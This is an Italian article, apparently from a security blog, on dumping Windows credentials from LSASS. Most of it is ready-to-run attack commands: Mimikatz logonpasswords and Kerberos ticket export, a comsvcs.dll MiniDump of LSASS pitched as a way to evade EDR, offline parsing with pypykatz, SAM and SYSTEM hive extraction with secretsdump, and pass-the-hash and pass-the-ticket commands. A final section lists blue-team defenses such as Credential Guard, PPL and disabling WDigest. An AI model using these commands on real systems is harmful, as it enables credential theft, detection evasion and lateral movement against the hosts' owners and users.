Quando un utente si autentica su Windows, il processo LSASS (Local Security Authority Subsystem Service) mantiene in memoria credenziali, hash NTLM e ticket Kerberos, necessari per il Single Sign-On, così l’utente non deve reinserire la password ad ogni servizio. Chi ottiene accesso amministrativo a un host può leggere quella memoria ed estrarne il contenuto.
Cosa vive in LSASS
- Hash NTLM degli utenti autenticati sulla macchina
- Ticket Kerberos (TGT e TGS) già emessi
- Credenziali in chiaro, se WDigest è abilitato (retaggio storico, ancora presente in molte reti legacy)
- DPAPI master key, usate per decifrare credenziali salvate (browser, RDP, Wi-Fi)
Dumping con Mimikatz
# Richiede privilegi SeDebugPrivilege / amministratore locale
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords # hash NTLM e, se presenti, password in chiaro
sekurlsa::tickets /export # esporta i ticket Kerberos in memoria
lsadump::sam # hash locali dal database SAM
L’output di sekurlsa::logonpasswords include, per ogni sessione attiva, dominio, utente, hash NTLM e (se WDigest è ancora abilitato), la password in chiaro.
Dumping senza Mimikatz (spesso più silenzioso)
EDR moderni riconoscono la firma di Mimikatz quasi universalmente. Tecniche alternative:
# Dump di LSASS via Task Manager (nessun binario esterno)
# Task Manager -> Dettagli -> lsass.exe -> Crea file di dump
# comsvcs.dll — LOLBin nativo di Windows
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID_lsass> lsass.dmp full
# Analisi offline del dump con pypykatz (non serve toccare l'host target)
pypykatz lsa minidump lsass.dmp
Dumpare offline e analizzare altrove riduce drasticamente l’impronta sull’host compromesso, nessun binario noto eseguito, nessun hook di sekurlsa da rilevare in tempo reale.
Oltre LSASS: NTDS.dit e SAM
# Copia del database SAM locale (richiede accesso SYSTEM)
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# Estrazione NTDS.dit da un Domain Controller (via VSS o DCSync — vedi articolo su Golden Ticket)
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Pass-the-Hash e Pass-the-Ticket
Una volta ottenuto l’hash o il ticket, non serve mai la password in chiaro:
# Pass-the-hash
evil-winrm -i 10.10.10.5 -u Administrator -H <hash_ntlm>
# Pass-the-ticket — riutilizza un ticket Kerberos esportato
mimikatz # kerberos::ptt ticket.kirbi
Come si difende un blue team
- Credential Guard: isola LSASS in un container virtualizzato separato dal kernel, impedendo l’estrazione diretta dell’hash anche con privilegi SYSTEM
- Disabilitare WDigest (
UseLogonCredential = 0): elimina le password in chiaro da LSASS - Protected Process Light (PPL) su LSASS: blocca l’accesso da processi non firmati/autorizzati
- Restricted Admin Mode e Protected Users group per limitare la persistenza di credenziali riutilizzabili
- EDR con detection comportamentale su accesso a
lsass.exe(OpenProcessconPROCESS_VM_READ), non solo su firme statiche di Mimikatz
Conclusione
Il credential dumping non è un exploit, è l’uso di una funzionalità di sistema (il caching delle credenziali per il SSO) fuori dal suo scopo previsto. Le difese più efficaci non “bloccano Mimikatz”: rendono le credenziali stesse inutilizzabili anche quando finiscono in mani sbagliate.